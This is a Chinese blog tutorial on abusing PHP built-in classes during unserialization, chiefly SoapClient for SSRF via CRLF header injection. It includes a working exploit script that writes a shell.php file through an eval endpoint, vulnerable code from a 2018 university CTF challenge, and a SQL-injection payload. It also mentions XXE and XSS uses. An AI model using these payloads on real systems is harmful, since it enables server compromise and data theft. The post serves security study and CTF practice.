• 关于PHP内部类的一些总结学习


    前言:

      这篇文章主要对一些可以进行反序列化的php内置类的分析总结(膜lemon师傅之前的总结),当然不是所有的php内置类在存在反序列化漏洞时都能够直接利用,有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化,比如序列化DirectoryIterator的时候,DirectoryIterator主要用来输出目录,用法如下图

    1.Soapclient

    soapclient有两种工作模式,wsdl和非wsdl模式,WSDL 用来描述如何访问具体的接口,soap协议的具体格式可以参考这篇文章,soap采用http或者https协议发送数据,并且在http header头中通过soap action来标示自己是一个soap请求

    https://www.cnblogs.com/JeffreySun/archive/2009/12/14/1623766.html

    如果是在非wsdl模式下,将可以通过指定配置选项location和url来进行网络请求的发送,那就意味着我们可以通过该内置类来进行ssrf,当然需要有反序化条件为基础,通过触发其__call方法来发送网络请求,为啥要调用call方法来触发,我看了看php的源码,在ext/soap扩展里面发现了如下:

    首先定位到定义__call方法的函数处,php源码定义某个方法是通过php_method前缀

    然后调用了do_soap_call方法

    然后就通过php源码中的do_request方法来发送网络请求

    exp(来自wupco师傅):

    <?php
    $target = 'http://127.0.0.1/test.php';
    $post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
    $headers = array(
        'X-Forwarded-For: 127.0.0.1',
        'Cookie: xxxx=1234'
        );
    $b = new SoapClient(null,array('location' => $target,
    'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
    'uri'=> "aaab"));
    //因为user-agent是可以控制的,因此可以利用crlf注入http头来发送post请求
    $aaa = serialize($b);
    $aaa = str_replace('^^','%0d%0a',$aaa);
    $aaa = str_replace('&','%26',$aaa);
    
    $c=unserialize(urldecode($aaa));
    $c->ss();  //调用_call方法触发网络请求发送
    ?>
    <?php 
    if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
        echo 'hi';
        @$a=$_POST[1];
        @eval($a);
    
    }
     ?>

    执行exp后已经成功写入shell.php,说明反序列化soapclient对象成功,并且网站也是有权限写进去的,所以还是要对反序列化的数据进行严格过滤

    如果是GET请求,就简单得多,只需要构造好location就可以

    暨南大学2018校赛的一道CTF题

    要利用反序列化soapclient当然要求服务器上的php开启了soap扩展,那么题目中给了phpinfo,可以看到soap是开启的,实际渗透测试中遇到反序列化的点,可以用exp盲打

    给了两个php的源码:

    index.php

    <?php
    
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(-1);
    
    class Auth {
        public $username = '';
        public $login = 0;
    
        public function verify() {
            return 'FALSE';
        }
    }
    
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <title>Login</title>
    </head>
    <body>
    <h1>Login</h1>
    <form action="" method="POST">
        <table>
            <tr>
                <td>Username</td>
                <td><input type="text" name="username"></td>
            </tr>
            <tr>
                <td>Password</td>
                <td><input type="password" name="password"></td>
            </tr>
            <tr>
                <td>Remember me <input type="checkbox" name="rememberme"></td>
                <td><input type="submit" value="Submit"></td>
            </tr>
        </table>
    </form>
    <p>
    <?php
    
    if (isset($_POST['username'])) {
        $auth = new Auth();
        $auth->username = $_POST['username'];
        setcookie('auth', base64_encode(serialize($auth)));
    } elseif (isset($_COOKIE['auth'])) {
        $auth = unserialize(base64_decode($_COOKIE['auth']));
    }
    
    if (isset($auth)) {
        echo $auth->verify();
    }
    
    ?>
    </p>
    </body>
    </html>

    sqldebug.php

    <?php
    include_once('db.php');
    
    if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
        die('you need to be 127.0.0.1');
    }
    
    $uid = isset($_GET['uid']) ? $_GET['uid'] : 1;
    if (preg_match('/information_schema|database|sleep|benchmark|select(/*|[(`x00-x20])/i', $uid)) {
        die('NONONO!');
    }
    
    $db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME);
    
    $sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'";
    
    $result = $db->query($sql);
    $result = $result->fetch_assoc();
    echo $result[COLUMN_USERNAME];
    
    mysqli_close($db);
    ?>

     这里的$uid过滤不严格,导致可以注入,比如最简单的payload就为:

    $location = "http://127.0.0.1:80/sqldebug.php?uid=1'%23  #将location替换即可

    后面注入细节不再说了,具体注入分析见:

    https://xz.aliyun.com/t/2960#toc-0

    2.SimpleXMLElement

    具体就是利用实例化该类的对象来传入xml代码进行xxe攻击

     https://www.vulnspy.com/cn-ripstech-presents-php-security-calendar-2017/#M-tbRemYKdmb5mr4dRCndhHCM5YaFRaRf8

    3.利用魔术方法__toString

    a.Error----适用于php7版本----XSS

    b.Exception----适用于php5、7版本----XSS

    两个用法见lemon师傅博客https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

     参考(侵删):

    https://xz.aliyun.com/t/2960#toc-0

    https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

  • 相关阅读:
    老罗锤子手机发布会,我感到深深地愧疚!
    微价值:专访《甜心爱消除》的个人开发者Lee,日入千元
    [个人开发者赚钱二]从自己最熟悉的方面入手,获取小利
    [个人开发者赚钱一]改变思维,从心开始
    个人开发者赚钱一、改变思维,从心开始
    OC中的点语法,成员变量的作用域
    OC self super isa指针
    OC面向对象多态笔记
    OC面向对象继承关系和组合关系笔记
    OC面向对象封装
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11168491.html
Copyright © 2020-2023  润新知